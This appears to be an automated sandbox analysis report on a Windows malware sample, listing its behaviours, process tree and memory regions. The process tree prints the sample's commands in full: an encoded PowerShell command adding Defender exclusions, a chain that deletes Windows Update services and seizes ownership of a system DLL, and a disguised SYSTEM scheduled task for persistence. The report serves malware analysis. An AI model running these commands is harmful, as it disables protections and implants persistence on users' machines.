Analysis
-
max time kernel
117s -
max time network
40s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
10-05-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe
Resource
win7-20220414-en
General
-
Target
e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe
-
Size
5.3MB
-
MD5
52fdd7f3ed1b50bc5794983a37cb4064
-
SHA1
4a185751e9e94dccb3330ca79f893de7ca080482
-
SHA256
e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2
-
SHA512
4f8c70f866320cdd3a38beb9fdd2820840171677e0e1ad993c05dbe5c64b5b919d2455c01ce619b96d6cdeabf703299301bd766e3c6860b44a7b19fe67db028f
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
icacls.exetakeown.exepid process 1532 icacls.exe 684 takeown.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 684 takeown.exe 1532 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Program Files directory 2 IoCs
Processes:
conhost.exedescription ioc process File created C:\Program Files\Windows\services.exe conhost.exe File opened for modification C:\Program Files\Windows\services.exe conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1932 reg.exe 272 reg.exe 1468 reg.exe 1936 reg.exe 1916 reg.exe 1492 reg.exe 1244 reg.exe 2032 reg.exe 1992 reg.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.execonhost.exepid process 1756 powershell.exe 2008 conhost.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exetakeown.execonhost.exedescription pid process Token: SeDebugPrivilege 1756 powershell.exe Token: SeTakeOwnershipPrivilege 684 takeown.exe Token: SeDebugPrivilege 2008 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.execonhost.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1972 wrote to memory of 2008 1972 e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe conhost.exe PID 1972 wrote to memory of 2008 1972 e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe conhost.exe PID 1972 wrote to memory of 2008 1972 e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe conhost.exe PID 1972 wrote to memory of 2008 1972 e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe conhost.exe PID 2008 wrote to memory of 1140 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 1140 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 1140 2008 conhost.exe cmd.exe PID 1140 wrote to memory of 1756 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1756 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 1756 1140 cmd.exe powershell.exe PID 2008 wrote to memory of 844 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 844 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 844 2008 conhost.exe cmd.exe PID 844 wrote to memory of 1656 844 cmd.exe sc.exe PID 844 wrote to memory of 1656 844 cmd.exe sc.exe PID 844 wrote to memory of 1656 844 cmd.exe sc.exe PID 844 wrote to memory of 1716 844 cmd.exe sc.exe PID 844 wrote to memory of 1716 844 cmd.exe sc.exe PID 844 wrote to memory of 1716 844 cmd.exe sc.exe PID 844 wrote to memory of 1308 844 cmd.exe sc.exe PID 844 wrote to memory of 1308 844 cmd.exe sc.exe PID 844 wrote to memory of 1308 844 cmd.exe sc.exe PID 844 wrote to memory of 1048 844 cmd.exe sc.exe PID 844 wrote to memory of 1048 844 cmd.exe sc.exe PID 844 wrote to memory of 1048 844 cmd.exe sc.exe PID 844 wrote to memory of 812 844 cmd.exe sc.exe PID 844 wrote to memory of 812 844 cmd.exe sc.exe PID 844 wrote to memory of 812 844 cmd.exe sc.exe PID 844 wrote to memory of 1244 844 cmd.exe reg.exe PID 844 wrote to memory of 1244 844 cmd.exe reg.exe PID 844 wrote to memory of 1244 844 cmd.exe reg.exe PID 844 wrote to memory of 1468 844 cmd.exe reg.exe PID 844 wrote to memory of 1468 844 cmd.exe reg.exe PID 844 wrote to memory of 1468 844 cmd.exe reg.exe PID 844 wrote to memory of 1936 844 cmd.exe reg.exe PID 844 wrote to memory of 1936 844 cmd.exe reg.exe PID 844 wrote to memory of 1936 844 cmd.exe reg.exe PID 844 wrote to memory of 1916 844 cmd.exe reg.exe PID 844 wrote to memory of 1916 844 cmd.exe reg.exe PID 844 wrote to memory of 1916 844 cmd.exe reg.exe PID 844 wrote to memory of 2032 844 cmd.exe reg.exe PID 844 wrote to memory of 2032 844 cmd.exe reg.exe PID 844 wrote to memory of 2032 844 cmd.exe reg.exe PID 844 wrote to memory of 684 844 cmd.exe takeown.exe PID 844 wrote to memory of 684 844 cmd.exe takeown.exe PID 844 wrote to memory of 684 844 cmd.exe takeown.exe PID 844 wrote to memory of 1532 844 cmd.exe icacls.exe PID 844 wrote to memory of 1532 844 cmd.exe icacls.exe PID 844 wrote to memory of 1532 844 cmd.exe icacls.exe PID 2008 wrote to memory of 532 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 532 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 532 2008 conhost.exe cmd.exe PID 532 wrote to memory of 1744 532 cmd.exe schtasks.exe PID 532 wrote to memory of 1744 532 cmd.exe schtasks.exe PID 532 wrote to memory of 1744 532 cmd.exe schtasks.exe PID 2008 wrote to memory of 1960 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 1960 2008 conhost.exe cmd.exe PID 2008 wrote to memory of 1960 2008 conhost.exe cmd.exe PID 1960 wrote to memory of 1640 1960 cmd.exe schtasks.exe PID 1960 wrote to memory of 1640 1960 cmd.exe schtasks.exe PID 1960 wrote to memory of 1640 1960 cmd.exe schtasks.exe PID 844 wrote to memory of 1992 844 cmd.exe reg.exe PID 844 wrote to memory of 1992 844 cmd.exe reg.exe PID 844 wrote to memory of 1992 844 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe"C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGIAYgB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZABsAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawB3AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdAB0AGYAYQAjAD4A"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGIAYgB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZABsAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawB3AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdAB0AGYAYQAjAD4A"4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {1A690561-9BF5-4270-B2FB-C1DB3F492D8C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/272-87-0x0000000000000000-mapping.dmp
-
memory/532-80-0x0000000000000000-mapping.dmp
-
memory/560-91-0x0000000000000000-mapping.dmp
-
memory/684-78-0x0000000000000000-mapping.dmp
-
memory/812-72-0x0000000000000000-mapping.dmp
-
memory/844-67-0x0000000000000000-mapping.dmp
-
memory/1048-71-0x0000000000000000-mapping.dmp
-
memory/1140-59-0x0000000000000000-mapping.dmp
-
memory/1176-93-0x0000000000000000-mapping.dmp
-
memory/1244-73-0x0000000000000000-mapping.dmp
-
memory/1300-92-0x0000000000000000-mapping.dmp
-
memory/1308-70-0x0000000000000000-mapping.dmp
-
memory/1416-89-0x0000000000000000-mapping.dmp
-
memory/1448-94-0x0000000000000000-mapping.dmp
-
memory/1468-74-0x0000000000000000-mapping.dmp
-
memory/1492-85-0x0000000000000000-mapping.dmp
-
memory/1496-90-0x0000000000000000-mapping.dmp
-
memory/1532-79-0x0000000000000000-mapping.dmp
-
memory/1596-88-0x0000000000000000-mapping.dmp
-
memory/1640-83-0x0000000000000000-mapping.dmp
-
memory/1656-68-0x0000000000000000-mapping.dmp
-
memory/1716-69-0x0000000000000000-mapping.dmp
-
memory/1744-81-0x0000000000000000-mapping.dmp
-
memory/1756-60-0x0000000000000000-mapping.dmp
-
memory/1756-64-0x000000001B790000-0x000000001BA8F000-memory.dmpFilesize
3.0MB
-
memory/1756-63-0x000007FEEE780000-0x000007FEEF2DD000-memory.dmpFilesize
11.4MB
-
memory/1756-66-0x000000000238B000-0x00000000023AA000-memory.dmpFilesize
124KB
-
memory/1756-65-0x0000000002384000-0x0000000002387000-memory.dmpFilesize
12KB
-
memory/1916-76-0x0000000000000000-mapping.dmp
-
memory/1932-86-0x0000000000000000-mapping.dmp
-
memory/1936-75-0x0000000000000000-mapping.dmp
-
memory/1960-82-0x0000000000000000-mapping.dmp
-
memory/1972-54-0x0000000000400000-0x0000000000C91000-memory.dmpFilesize
8.6MB
-
memory/1992-84-0x0000000000000000-mapping.dmp
-
memory/2008-58-0x000007FEFC3A1000-0x000007FEFC3A3000-memory.dmpFilesize
8KB
-
memory/2008-57-0x000000001B220000-0x000000001B3FC000-memory.dmpFilesize
1.9MB
-
memory/2008-56-0x00000000000E0000-0x00000000002BD000-memory.dmpFilesize
1.9MB
-
memory/2032-77-0x0000000000000000-mapping.dmp